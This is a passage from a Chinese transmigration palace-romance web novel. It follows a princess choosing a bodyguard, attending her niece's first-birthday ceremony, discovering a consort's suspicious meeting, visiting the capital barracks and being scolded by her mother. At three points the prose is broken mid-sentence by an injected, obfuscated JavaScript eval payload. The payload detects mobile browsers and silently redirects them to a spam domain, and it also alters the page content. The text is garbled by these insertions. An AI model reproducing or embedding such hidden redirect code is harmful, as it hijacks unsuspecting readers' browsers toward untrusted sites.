崔玉凝被吵得耳朵疼,也不知道太子是如何忍受的。她拍了拍喜乐的肩膀,朝他使了个眼神,示意他上前去。 喜乐不明所以,但依旧听话地走到站成一排的侍卫面前。 “你们谁能把喜乐公公抱起来,谁就跟本公主回公主府。”崔玉凝眼神扫过众人,宣布了规则。 有几个侍卫眼观鼻鼻观心,显然不愿意跟她回公主府,崔玉凝也不强求,只是挨个让喜乐被人抱过去。 跟在崔玉凝身后本应在书房议事的两人,现在也止住脚步站在一旁看公主选人。 听完选人标准,崔璟祁暗暗叹了口气,转向裴则正要说些什么,裴则却不知想到了什么,脸色有点不好。 “聿修这是怎么了?”崔璟祁问裴则,裴则不说话,他又转头问竹酒。 竹酒刚想说不知道,被太子殿下一瞪只得乖乖把上午公主在树上讨要自己的事情老实说了,末了还不怕死地补充道:“裴大人应当是全部听见了。” 崔璟祁好笑地看着裴则脸色越来越差,裴则黑着脸:“太子殿下很闲?” …… 崔玉凝正紧盯着大家挨个抱起喜乐,这喜乐不知为何完全不似电视剧里太子身边瘦弱纤细的小公公,反而像一个胖胖的大冬瓜,比年纪虽然只有福顺、德海的一半,但体型是两位公公加起来这么宽。 除却一开始不愿意跟她回公主府的那几个抱不动喜乐公公以外,其他人包括太子推荐的几个女侍卫都能抱着他走一圈。 崔玉凝不由松了一口气,还好她厚着脸皮要了东宫的侍卫,公主府都是一群酒囊饭袋。 她依着心意点了一位高高壮壮的女生,“叫什么名字?” “属下青酒。”被点名的侍卫上前一步单膝跪地行礼。 穿来将近一个月,崔玉凝还是第一次受这么重的礼,下意识伸手阻止想要扶起,又想起自己公主的身份生硬转换动作叫起青酒:“那你就跟我回公主府吧。” 说完,喜乐便下去安排一些事宜。 解决了一桩心事,崔玉凝觉得一身轻松,只想着到时候跟青酒多多练习,说不定青酒就能把她救下来。 她转头看向崔璟祁,结果崔璟祁却躲开了她的视线,还说:“凝儿再看下去整个东宫都要被你给搬空了。” 一旁的裴则轻笑出声,崔玉凝不敢惹他,正想低头溜走却被他叫住:“公主,臣送您回府。” 崔玉凝噎了一下,合着他跟过来就是为了送她回府? 她果断拒绝:“不用了,裴大人,您不是来找皇兄议事的吗?我自己可以回府,就不麻烦您了。” 说完她逃也似地离开了东宫。 留下两人面面相觑,还是崔璟祁先开口:“聿修不是来找孤议事?” - 皇宫,坤宁殿内。 皇家没有秘密,崔玉凝上午一进国子监,后宫就收到消息了。 这会儿刚巧皇后贵妃在一块儿商议崔玉凝的婚事,计划着办个赏花宴,给几个未婚的皇子公主相看一番。 皇上子嗣不丰,皇子公主加起来拢共就十个孩子,大半还都是在潜邸时出生的,年纪相仿。 公主这边只有崔玉凝一人,前面三个姐姐都已成婚,四公主早逝,六公主还太小。 皇子这边主要是给太子和二皇子相看,只是二皇子母妃早逝,他又没个定性,也不知有多少贵女愿意…… 想到这里两个人都深深叹了口气,早年间在烈王府的时候大家都不容易,皇上登基后对几个孩子又过于宠爱了,寻常人家哪有他们这么好过。 章铮瑜看画像看得烦躁,“你说说凝儿这算怎么回事儿?早先喜欢那裴家三郎就追着人家跑,现在裴家求亲她又开始追着别人跑,有哪家小娘子像她这样?” 秦皇后笑道:“让她去吧,凝儿向来活泼,要是拘着她规规矩矩,那还是我们的凝儿吗?” 章贵妃本就没多少气,皇后说两句就过去了,她点点头,从旁边拿起一卷画轴递给皇后:“还是先给太子选吧。” - 午后,日光烈烈,空气被热意凝固,热气顺着鞋底蒸腾,连寻常在池中摇摆的锦鲤都懒洋洋地躲在莲叶之下。 崔玉凝回到公主府时就是这样一番景象,琅珠一行人急匆匆捧着一个大冰盆就来迎接了。 “公主快进屋吧,今儿实在太热。”琅珠见了崔玉凝就如是说。 京城的天不是一点点热起来的,而是突然一下子变热的。 至少昨日还不需要捧着大冰盆在外面走,照这样下去迟早中暑。 进了寝殿,崔玉凝立刻感到舒适,四角置着半人高的冰鉴,完全不输现代的空调。 刚坐下,璎珞就端着一碗剔透的琉璃盏:“公主,快来尝尝厨房新做的冰酪。” 崔玉凝没见过冰酪,等璎珞把碗放在她面前,她才发现这冰酪原来就是冰淇淋,一口下去又香又甜又解暑。 吃了大半,崔玉凝才想起还有事没吩咐,又叫来琅珠:“琅珠,我从东宫带回的厨子和侍卫,你先安排下去,叫青酒跟你们住在一块。” 琅珠应声,就退了出去。 对青酒的安排是崔玉凝早就想好了的,叫她跟寻常宫女一样的打扮,这样平时跟着她出门也方便。 吃饱喝足崔玉凝又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211491|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把璎珞叫到身边,经过她的分析观察,琅珠是绝对大管家,而璎珞则是对外面更熟悉一些。 “璎珞,你知道京城姓顾的人家吗?”其实昨天她就想问章舒窈,可纵然关系再好,章舒窈也会起疑,只有琅珠和璎珞完全尊重她的意志。 突然被问到,璎珞也不知该如何回答,思考了一下,说:“公主,您问的是吏部尚书的顾家还是兵部侍郎的顾家?” 崔玉凝哪里知道什么兵部侍郎吏部尚书的,继续道:“就是家里有好几个女儿,还娶了继室的。” 这时候琅珠也回来了,听到两个人对话,跟着接上:“公主说的应当就是兵部侍郎顾越顾大人的顾家。” 两人不知道崔玉凝的意图,只好倒豆子般把自己知道的都给说了,甚至一次宴会上顾家女儿们不睦争吵都说了个明白。 崔玉凝一听这事儿心里就有数了,这件事在小说里写过,“那顾家在哪儿?” 璎珞想了想,说:“顾家离公主府不远,就隔了三条街,那一片都是顾宅。” 琅珠补充:“顾家祖上富可敌国,只是到顾侍郎这一代落寞了,听说顾家随便一枝花就价值连城呢。” 崔玉凝点点头,这就和她记忆里的剧情对上了,顾老夫人的几个儿子狗苟蝇营不成气候,不过充面子的事情没少做,内里全靠几个夫人的嫁妆撑着。 “你们觉得顾家的三小姐如何?”崔玉凝问,先前小公主办过很多宴会,虽然小公主什么都不记得,但公主身边的人肯定有印象。 谁承想琅珠摇了摇头,又看向璎珞,希望她能说出点什么,可惜璎珞也摇了摇头:“奴婢分不清什么三小姐,只知道顾家后宅不睦,教养也不好,在外人宴会上就能大打出手。” 崔玉凝无奈,只能等过几日亲自去看看女主了。 - 三日后。 这几日天气炎热,酷暑难耐,崔玉凝的所有计划都被她抛之脑后,没有什么比夏天在摆满大冰鉴的房子里睡觉吃各色冰饮子更爽快的事了。 因为她一直在府里带着,连带着琅珠和璎珞都松快许多。 不过今日她不得不出门了,今日是她小外甥女温岁的抓周宴。 为了出这趟门,琅珠和璎珞早早就开始准备,天气炎热可不能让公主中暑了。 崔玉凝有些懵懵的,不过出门前还记得问琅珠:“琅珠,我给小郡主准备了什么抓周礼啊?” “一个鎏金镶宝石长命锁,还有一条小金蛇。”琅珠回答道:“公主忘了吗,小金蛇是您在小郡主出生前就命人打好了的,只是太子殿下说小郡主年纪尚小,待她能把玩的时候再把小金蛇赠予她。” 这么一说崔玉凝就想起来了,当时太子说小郡主年纪太小,送给她也是收进库房,反倒辜负了她一番心意。 现在想想可能也是怕小金蛇吓到小孩子。 “你把小金蛇拿来给我瞧瞧。”崔玉凝觉得这小金蛇可能还会吓到小郡主。 闻言琅珠赶紧取出小金蛇给公主过目。 这是一条纯金锻打而成的小金蛇,蛇身镶嵌了十八颗大小不一的红蓝宝石,随着蛇身盘旋错落有致。 看到实物崔玉凝就放心了,还挺好看的,一点都不吓人。 叫琅珠重新收好后,崔玉凝带着两人还有青酒就出门了。 5. 抓周 这还是青酒来公主府后第一次出门,在马车上见到身着浅绿色襦裙的青酒还有些不习惯。 几位公主的府邸都相隔不远,是真正意义上的拐个弯就到。 小郡主的抓周宴来了许多人,崔玉凝被青酒扶着下马车的时候正巧碰上了骑马而来的裴则。 两人目光一碰,又各自漠然移开,一左一右直朝在门口欢欢喜喜的大驸马温玮还有驸马的父亲温大人而去。 “温大人,恭喜恭喜!闻听今日是小郡主周晬之喜,定当好好观礼。小郡主玉雪可爱,定能抓个祥瑞之兆!” “张大人客气了,快里面请,饮杯薄酒。” “裴大人也来了?快请进。” “有劳温大人。”裴则颔首,将贺礼递给一旁登记的管事。 “宴宁来了。”大驸马笑容温和地迎上两步,“你大姐姐方才还念叨你呢。快进去吧,二妹、三妹她们都到了。” “有劳姐夫挂心。”崔玉凝浅笑回礼,“岁岁呢?我可要好好瞧瞧今日的小寿星。” “天热,岁岁有些闹,乳母刚抱进去。你也快进去歇歇。”大驸马侧身让路。 崔玉凝回之一笑,带着琅珠青酒就往里走。 送上贺礼时还瞧见侍女来不及合盖的一块白玉长命锁,玉质白如凝脂,雕工精巧,一看品相就知贵重。 大公主母妃身份不显,驸马也是庸庸碌碌之辈,今日该来的不该来的人都来了,多半也是为太子而来。 太子代表帝后要晚些才来,但也给足了大公主脸面。 今日抓周宴本应在温家举办,最后在公主府也是为了压一压大驸马的气焰。 崔玉凝到的时候,两个姐姐早已到了。 进到内室,二公主崔玉瑶正抱着孩子哄,见她来了立刻笑吟吟地说:“让我们看看是谁来了呀?原来是五姨母。” 崔玉凝上前跟两个姐姐一起逗弄温岁小朋友。 这个时候的小朋友最可爱,乌溜溜的眼睛转来转去,见崔玉凝过来还朝她伸出自己的小胖手,嘴里“丫丫”叫个不停。 “真乖。”崔玉凝忍不住轻轻捏了捏那豆腐般的小脸。 还想再捏,立刻就被人家生母发现了。 “凝儿,别总捏她脸,当心流口水。”大公主崔玉娴刚刚被温岁吐了奶,换完衣服出来就看到几个妹妹在逗弄自己女儿,无奈叹了口气。 岁岁是第一个孩子,长得又雪玉可爱,大家都亲热到不行。 “你们喜欢自己去生。”大公主笑嗔,示意乳母将温岁抱去准备抓周,以免一会儿饿了不肯动。 “我也想生啊。”说话的是三公主崔玉姝,她和崔玉娴一样成婚已经有半年了,夫妻感情甚笃,可惜就是没孩子。 说罢又朝崔玉凝挑挑眉,崔玉凝不明所以,还是二公主笑着接话:“你跟裴家三公子的事如何了?” 崔玉凝一怔,三公主紧接着问:“裴则向你求亲了?” 皇家没有秘密,虽然帝后都默契地把这件事瞒下来了,不过德妃不可能不知道,德妃知道了三公主就知道了。 “什么?裴则求娶你了?那你为何不答应。以前不是日日追着他跑,还追到裴太傅那里去了?”大公主也跟着一惊一乍的,现在房里就她们几个人,倒是无所谓会不会被人看见。 崔玉凝干脆地摆摆手,脸上写满了敬谢不敏:“我才不要嫁给他,冷冰冰的,能侍奉好公主吗?” 大家的关系虽然比不上小公主跟太子,但因为后宫孩子少,大家年纪又相差不大,皇后娘娘做事公允,从小到大都在一起玩,也没有什么矛盾,所以崔玉凝说话也直接,不用打什么官腔。 想到这里崔玉凝又想到自己家里那一团糟的姐妹关系。 她是姐姐,父母偏心妹妹,工作以后她赚的钱还要给妹妹交学费、发零花钱。 还是当公主好,有一个把自己当成掌上明珠的母妃,还不用辛苦赚钱供妹妹。 几个公主听到这个解释倒也没再说话,裴则虽然样貌学识俱佳,不过冷冰冰一副生人勿近的样子的确不行。 …… 抓周设在大厅里,她们几人从房里出来的时候裴则正和二皇子崔璟珩说话。其他几位公主径直寻自家驸马去了,崔玉凝只好跟二皇子打了个招呼。 见她过来,裴则不自然地挪开了视线。 刚才崔璟珩一来就质问他是不是惹崔玉凝不高兴了。崔家人,简直不讲理。 …… 大驸马温文含笑,大公主也在一旁笑吟吟地看着,不知道以为大驸马真是个体贴人。 准确说来,三位驸马都是一副体贴周全的模样,看着每一个都把侍奉公主刻在心里了。 六公主崔玉薇悄悄挨到崔玉凝身边,低声说:“阿姐,我将来就要找这样的驸马。” 崔玉薇才八岁,这次还是求了皇后娘娘才出宫来的,跟她差不多大的三皇子和四皇子就没能出来。 崔玉凝也不客气直接教训道:“小小年纪想这么多干嘛。” 被姐姐打了一下崔玉薇委屈地瘪瘪嘴,又说:“听母后说阿姐三岁就追着裴大人跑了,我如今都已经八岁了,跟阿姐比起来都算晚了。” 说话间眼神还向裴则那边一飘,巴不得裴则现在就看过来两个人在聊什么。 崔玉凝作势要打,小丫头吓得一溜烟跑了。 …… 正说笑间,外头廊下忽然传来一阵不疾不徐的脚步声,并伴着内侍清亮却不高亢的通传:“太子殿下到——” 话音未落,门帘被轻轻打起。 太子依旧穿着玄色衣袍,众人齐齐行礼。 “都免礼吧。”他虚扶一下,声音不高,却让室内瞬间安静下来,“今日是家宴,不必拘礼。” 崔玉凝是第一次在这么正式的场合见到崔璟祁,自带上位者气势。 说完,眼巴巴过来的都找太子攀谈,希望能说上两句话。 这下崔玉凝可算是知道小郡主抓周宴为何会来这么多人了,温家的亲戚包括温大人的同僚占了多数。 “公主在想什么?”说话的人是裴则。 崔玉凝扭过头看了一眼:“没什么。” 她懂裴则这种心态,无非就是平时跟在自己屁股后面的人突然不理他了,所以不甘心才一直找她搭话。 太子一到人就算是齐了,抓周也正式开始。 绒毯上放了各式各样的物件,除了算盘书卷针线这些基本的东西,还放了很多珠宝字画。 大公主夫妻俩让奶娘把小郡主抱上来放在绒毯上,小郡主睁着圆溜溜的大眼睛一点儿也没被周遭那么多大人吓到,反而笑呵呵的。 大公主在一旁鼓励道:“岁岁快去选一件自己喜欢的东西,然后拿回来给阿娘好不好?”说完还轻轻拍了拍小姑娘的屁股。 小郡主这个年纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211492|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经能听懂她娘的话了,大大方方地就往前爬。 众人将小郡主围了一圈,看着她爬过算盘越过书本,径直爬向一柄镶满宝石的小短刀。 大家又开始夸赞:“小郡主胆气过人啊……” 话音未落,大家就看着小郡主略过小短刀,直直地朝着站在小短刀后的人扑去。 是裴则。 泰山崩于前而面不改色的裴大人也有花容失色的时候,见走得还不太稳的小姑娘跌跌撞撞朝他扑过来当即一把抱住她,生怕今日生辰的小小姑娘摔了。 看到这一幕,现场一些人都心照不宣地笑了。 刚刚就用裴则打趣她的二公主更是直接大笑出声:“小岁岁怎么跟你五姨母一样呢?” 这话一出,原本没想到的人也想起来当年晏宁公主第一次见到小裴大人,也是这样宣誓主权的。 大家的目光当即都在两人之间流转,加上几个公主和皇子主动说笑,戏谑之声不绝于耳。 饶是崔玉凝再觉得小公主做的事儿和她没关系也遭不住,她趁着众人注意力又被孩子吸引的间隙,轻声向大公主说要出去透透气。 大公主以为是刚刚大家打趣太过,直接让身边的小丫鬟带着崔玉凝去花园走走,末了还叮嘱:“一会儿就要开席,记得回来吃饭。” …… 出了宴客厅,一阵热意扑面而来,崔玉凝当下就后悔了。 可是出都出来了也不好再回去。 一行人还没走到花园就被层层叠叠的绿意吸引了,崔玉凝忍不住感慨:“好多树啊。” 带路的小丫鬟听到这话也笑了:“这些都是大驸马移栽过来的,夏日天热,在花园里纳凉是最舒适不过了。” 崔玉凝点点头,大公主府上的花园甚至不能称为花园,到处不见花影,不过有头顶的绿荫隔绝太阳的确舒适。 想到这里她甚至开始思考公主府能不能种点丝瓜豆角什么的,搭个棚子让这些小菜爬一爬,这样她也能纳凉。 小公主府上的花园光秃秃的,只有假山池塘,原本花园里是有花的,可这几天太热,花都被晒蔫儿了,一片一片耷拉着,花匠就把名贵些的花都收起来了。 崔玉凝靠着亭子的栏杆出神,却忽然看见假山一侧有个人影,她避开大公主的丫鬟朝青酒递了个眼色。 青酒会意,身形轻悄绕了过去,不过片刻就回来了,附在崔玉凝耳边低声说:“殿下,是二驸马,还有一个男人。” 闻言崔玉凝挑了挑眉,她只知道大驸马有私,怎么二驸马也有? 况且这会儿二驸马不应该陪在她二姐身边吗? 崔玉凝开口:“哎呀,不早了,我们回去吧。” 说罢带着一行人朝着假山的方向行去,她倒要看看这个二驸马在干什么。 靠近假山后,崔玉凝抬手止住身后众人,只示意青酒跟她一起慢慢靠近。 “务必周全……东宫耳目众多……”二驸马声音很轻,却依旧温润。 大抵是听见了她的脚步声,交谈声瞬间顿住。 见状崔玉凝立刻作出一副捉奸的样子。 二驸马赵兆从假山出来,崔玉凝先发制人笑吟吟地盯着赵兆:“姐夫这是在做什么?” 没给赵兆留说话的机会,继续道:“二姐夫真是好雅兴。前头宾客满堂,二姐独坐,你倒有闲心在此……”说到这里崔玉凝挑了挑眉没继续说下去。 6. 章骁 赵兆反应过来崔玉凝是误会他在跟人私会,他视线紧盯着崔玉凝试图从她的脸上看出点破绽,嘴上却说着:“没做什么,只是跟殿下一样出来透透气。” 崔玉凝装模作样地哼了一声:“最好是这样,别让我抓到!” 说完,她一扭头,带着身后众人径自离去。 走到花园外,确认二驸马看不见后,崔玉凝才在心里深深叹了口气。 这次真的是托小公主的福了,还好小公主平时就骄纵在外人眼里也不聪明,所以她装做捉奸也没被怀疑。 …… 花厅里大家都还未入座,家庭小宴并未男女分席,崔玉凝和崔玉薇坐在一起,对面是三公主夫妇,旁边就是二公主夫妇。 二驸马不知走得哪条路,竟然比她还快,崔玉凝入席的时候他已经在和二公主温声细语说话了,一副蜜里调油的样子。 原本她还在纠结这件事要不要跟二公主说,这下可好,连说的机会都没有。 “阿姐,阿姐,”崔玉薇见崔玉凝魂不守舍一阵一阵地发呆,好奇问:“你在想什么?” 被崔玉薇在案桌底下轻轻推了两下,崔玉凝回过神来,怔怔道:“没想什么。” “没想什么你盯着裴大人看?”崔玉薇人小鬼大,“裴大人都被你看脸红了。” 被崔玉薇这么一说,崔玉凝抬眼向裴则望去。 那人依旧坐得端端正正,一副高岭之花不可接近的模样,哪有一丝脸红痕迹。 她在崔玉薇胳膊上掐了一把,说:“好啊,敢骗我。” 崔玉薇也配合着压低声音:“我要告诉母后你欺负我!” …… 宴席散后,众人陆续告辞。 崔玉凝是跟太子一起走的,今日抓周宴兄妹俩还没说过几句话,况且她有事要告诉太子。 太子离府阵仗大,每个人都要凑上来说两句,一行人送至门口,崔玉凝才挤到崔璟祁旁边。 崔璟祁正与大公主等人辞别,见到她便问:“青酒用得可顺手?” 崔玉凝点点头:“青酒很能干,事事都妥帖。阿兄,我有事同你说。” 说话间,她瞥了一眼崔璟祁身旁的裴则。 崔璟祁会意,朝裴则点头:“聿修,你先去吧,其余事稍后再议。” 裴则已经习惯了崔家人这副一切小事以崔玉凝为先的态度,只要不涉及天灾人祸战乱所有事情都得排在崔玉凝后边,除了太子就是二皇子,总一副大舅哥的做派。 崔玉凝带着青酒上了太子的马车,吩咐琅珠先回府。 “青酒,你来说。”崔玉凝示意道。 “是。”青酒转向太子,“殿下,方才在花园中,属下与公主瞧见二驸马与人私会。那人身着青绿衣袍,声音浑厚,应是个习武的男子。” 崔玉凝补充:“阿兄,我还听见他们提到了东宫。” 崔璟祁沉吟片刻:“阿兄回去会好好查一查,多谢凝儿。”说完还摸了摸崔玉凝的头。 身为储君,他手中握有大多数人的动向,大驸马的那些事也都在掌控之中。跟二驸马有勾结的人倒完全在意料之外。 崔玉凝听到崔璟祁说会好好查也就放心了,她对朝堂之事不感兴趣,这些事也不在她的能力范围。 只是太子对她很不错,她不想让太子死的这么早,所以才特地提醒。 如果她没记错的话,太子是死于北疆的战事。可是现在似乎没有北疆的消息,也没有要太子亲自挂帅出征的征兆…… 她所了解的北疆就是章家,也就是章舒窈的父亲、她的舅舅如今在北疆。 …… 公主府。 房内,她屏退了其他人,只留青酒在跟前。 “你说,”她拨弄着桌上精致的陶瓷杯,声音压得低,“二驸马见的那个人……会不会跟北疆有关?” 青酒垂首:“属下不敢妄断。”她压下心中疑惑,不知殿下是如何将二驸马与北疆联系在一起的,北疆向来是章家的地盘,与赵家又有何干。 崔玉凝叹了口气,越想越头疼。她一点都不了解朝堂,怎么可能救得了崔璟祁。 小公主本身就对这些事不感兴趣,她根本就没有途径去了解这些。 如果她去问战况,大家只会觉得小公主发疯吧…… 果然,比起工作中的“死线”,现在的“死线”才是真正的“死线”,时时刻刻压迫着她。 青酒沉默着,看着小公主又是哀声,又是叹气,没有接话。 第二天,崔玉凝特意起了个大早,给章府递了个帖子。 原本她想着自己外祖家直接去就是了,结果琅珠用不合规矩为由阻止了她。 “公主,真的不能随便去,被御史知道又要说您了。”琅珠劝说,章贵妃也曾告诫过她们,晏宁公主偶尔随心所欲做些逾矩的事也无妨,但若是扯上其他人家就必须老老实实按规矩来。 崔玉凝也知道,无非就是因为“天子犯法与庶民不同罪”,小公主天生就有很多借口。 她想了想,开口道:“就说我得了几匹上好的云锦,颜色雅致,想着舅母和表姐穿着定然好看,今日午后想送过去,顺便给外祖母请安。” 递了帖子一来一回又要等到明后日才能去章家,崔玉凝等不及。 “青酒。”崔玉凝突然想到一件事。 “属下在。”青酒就侍奉在旁边。 “你去问问舒窈表姐想不想去樊楼。”樊楼是京城乃至整个大宴最名贵的酒楼,她穿来第一天就有幸跟着太子一起见识过。 作为顶级娱乐场所,樊楼是真正意义上的销金窟,在京城也就只有世家子弟常常光顾。 那天跟着崔璟祁去樊楼吃饭,太子见她吃得香就叫她常常光顾,花费都挂在他的账上。 青酒脚程极快,钗儿进来通报的时候,崔玉凝还半躺在美人榻上听璎珞给她念话本子。 “殿下,表小姐说改日再约,今日她要去京畿大营给世子送鞋子。”青酒回复。 世子就是章舒窈的亲哥哥章骁,他没有随镇国公镇守北疆,而是一直留在京城。 崔玉凝随即又想起自己前些日子在国子监物色驸马被突然冒出来的裴则打断了,心下蠢蠢欲动,语气坚定地开口道:“好久没见表哥了,我陪表姐一块儿去吧。” 一边说着一边放下手里的零嘴吩咐道:“璎珞,你去备马车,我们这就去找表姐!” “是。”璎珞放下手里的话本就退出去了。 …… 崔玉凝是在镇国公府门口等到章舒窈的,也不知道章舒窈是为了刻意等她还是动作本来就慢,她都一来一回了章舒窈才不急不徐地出门。 崔玉凝直接踏上章家的马车,惊得章舒窈轻呼:“你做什么?怎么跟个强盗似的?” 崔玉凝一听便气闷,她明明是当着众人面上车的,“什么强盗?我若是歹人,你家车夫丫鬟怎会不喊不叫?” 镇国公府的丫鬟都会武艺,哪像她,想找个得力的侍卫还得向太子讨要。 章舒窈撇撇嘴:“你又来干什么,我不是说了过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211493|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两日再跟你去樊楼吃饭吗?” 崔玉凝:“可是我也有很久没见表哥了……” 此话一出章舒窈就知道崔玉凝打得是什么主意,无非就是看上了京畿大营里的那些人。 可京畿大营里就是一群莽夫罢了,又有哪个配得上公主,就算是她亲哥也不行。 忽然灵光一闪,章舒窈想到一人,“凝儿,我倒觉得有个人很适合做你的驸马。” 崔玉凝一怔,没想到话题直接就从她想念表哥跳到驸马人选上了,表姐果然是冰雪聪明,她顺着问:“谁啊?” 章舒窈弯着眉眼,笑得很甜,但崔玉凝却不知为何总觉得有问题。 “殿前副都指挥使陈淮。”章舒窈压低声音在崔玉凝耳边悄悄地说。 听到这个名字崔玉凝摆了摆手,在小公主的记忆里殿前司那些人年纪都很大了:“他是鳏夫?” 章舒窈扑哧一声笑了出来:“陈大人还未成婚呢,而且家中既无妾室也无双亲,最适合你不过了。” 听到父母双亡的时候崔玉凝不想承认自己可耻的心动了,公婆与儿媳之间的矛盾自古以来就存在,就连公主也不例外。 不说远的,就说温大人夫妇与大公主之间的矛盾也不是一天两天,不然周岁宴也不至于特地在公主府办还让太子敲打一番。 见崔玉凝不说话,章舒窈仿佛看透她心思,轻声点拨:“你若是想见他,去找皇上就行了。” 说完章舒窈自己下了车。 崔玉凝回过神来连忙跟上,从后面一把挽上章舒窈的胳膊,兴致勃勃:“走吧表姐!” 这可是连小公主都没有来过的京畿大营,也不能怪她雀跃。 章舒窈与守营士兵打了招呼,便领着一行人进去。 跟国子监静谧的氛围全然不同,大营里到处都是操练的士兵,每一个都又高又壮。 怕她不懂章舒窈还贴心给她解释,正在训练的这些人都是经过选拔的,不仅要身强力壮而且样貌也要周正。 崔玉凝左右张望,暗暗惊叹。 走至一排屋前,章舒窈驻足片刻,章骁便赶了过来。 他是跑着来的,脸上还泛着薄红。 章舒窈把两双鞋子递给他,嘱咐道:“母亲叫你休沐日早些归家,不要在外游荡。” 章骁不服气,“我哪里在外游荡,那都是正事。” 崔玉凝瞧见章舒窈偷偷翻了个白眼,忍不住轻笑。 “凝儿怎么来了?”章骁这才看见站在自家妹妹旁边的崔玉凝,小公主往常穿着都是怎么华丽怎么来,今日穿得如此简素,他一下子没认出来。 “太久没见表哥,心中十分想念。”崔玉凝把自己刚刚编的瞎话拿出来用。 章骁瞬间红了脸,说话都磕绊起来:“表、表妹……这……你……” 崔玉凝心道糟糕,忘记这里表兄妹是可以成亲的了。 还是章舒窈直接打断他:“你有什么话要带给母亲和祖母吗?没有我们就先走了。” 章骁这才敛了神色,低声同妹妹说了几句。 兄妹俩说话崔玉凝不好在一旁听着,她移开视线,目光略过校场上那些正在休息的人。 心中暗自感慨,果然如表姐所说每个人都样貌周正,虽然远不及裴则,可也绝对没有丑的。 她看得专注,没留意章家兄妹已说完话。直到章舒窈轻轻碰了碰她的手肘:“走了。” 两人转身时,崔玉凝又回头望了一眼。却看见章骁仍站在原地,见她回头,还匆忙别开了视线。 7. 皇家没有秘密 皇家没有秘密。 崔玉凝穿来以后一直以此为做事准则,做什么都光明正大,从未藏着掖着,反正她谁也瞒不住。 只是没想到这个“没有秘密”是会透明至此。 她前脚从京畿大营出来,挥别表姐,后脚章贵妃身边的小公公就在公主府门口等着她了。 彼时崔玉凝正坐在马车里,对此一无所知。还是璎珞掀帘低声提醒,她才知道自己又摊上事了。 “公主,贵妃在瑶光殿等您。”小公公见到崔玉凝下马车就迫不及待地说明来意。 崔玉凝点头,脚下却未停,径直往府里走,嘴上敷衍:“知道了知道了,你回吧。” 能被派出来的小公公也不是吃素的,听了崔玉凝的话也不答应,就跟在崔玉凝身后,“殿下,贵妃娘娘说让奴务必请您入宫。” 崔玉凝被迫止住脚步,回头看了眼小公公。 见他鬓角落下的汗珠,知道他不容易,她心软了,不好再为难。 “我没说不去,只是现在天太热,公公也进来歇歇喝口水吧。” 这会儿的天有没有四十度她是不知道,只是在太阳底下走一遭就让人发晕,大中午叫她进宫她是不乐意的。 宫里没有马车可坐,从宫门口到瑶光殿有很长一段路要走。虽然小公主可以在宫内乘舆辇,但这种天气下做这种事也太封建太要命了吧! 崔玉凝打定主意明日一早再入宫,叫璎珞给小公公拿了一些碎银子就自己回房休息了。 至于小公公是要留宿公主府还是回宫复命都跟她没关系。 沐浴完躺在床上的时候崔玉凝还在深刻反思自己今天又做了什么无用功,不仅没物色到驸马还被贵妃娘娘抓到了,明日还要头顶烈日进宫挨训。 崔玉凝暗自唾弃自己,发自内心觉得自己没用,每天都跟个无头苍蝇似的到处乱撞。 …… 辰时初,天光大亮,崔玉凝已经起床坐在桌边用早膳了。 如果老天爷还记得她上班的时候为了多睡半小时特地花了两倍的钱在律所附近租房,那么现在这样天天早起一定是老天爷恨死她了吧! 带着满腹怨念,崔玉凝还是进宫了。 在宫门口,崔玉凝看见另一侧下朝的大臣三三两两往外走,她有些意外。到底是什么大事才拖到这会儿才下朝? 她心下疑惑,脚下不停,带着一行人快步往里走。 她不习惯乘舆辇,那东西只求稳不求快,她心急。 其实整个后宫里,除了闲的没事想要彰显权威或者怀孕受伤行动不便,还真没人坐舆辇。 …… 瑶光殿。 章贵妃正对镜簪钗,指尖停在珠串上。 崔玉凝进了殿门便往内室去,章贵妃身边的若梅姑姑往里指了指,意思是章贵妃正在气头上,叫她小心点说话。 她无声道了谢,绕到章贵妃身后, 章贵妃没回头。 “崔玉凝,你昨日去京畿大营了?” 崔玉凝点点头,意识到章贵妃看不到后又立刻补充:“嗯。” “那里是你能去的地方?”章贵妃声音冷了下来,“上一次你去国子监就算了,我没教训你,现在本事大了,以为自己哪里都能去了,是吗?” 崔玉凝垂手站着,乖乖听训,还给自己弱弱地辩解两句:“没有……” 突然,章贵妃把手里的珠钗拍在桌上。 “平时纵着你,想出宫建府,允了;想四处游玩,也允了。太傅的课不愿上,不上;裴则的婚约不想嫁,退便退了。” 她转过来,盯着女儿。 “可你做事,越来越没分寸。” 崔玉凝被那目光压得低了头,嗫嚅道:“阿娘,凝儿知错了。” “知错?”章贵妃一声轻哼,“知错有什么用?下次再犯就直接乖乖嫁给裴则,有他管着,也不用时时刻刻担心你,阿娘也能安心去了。” 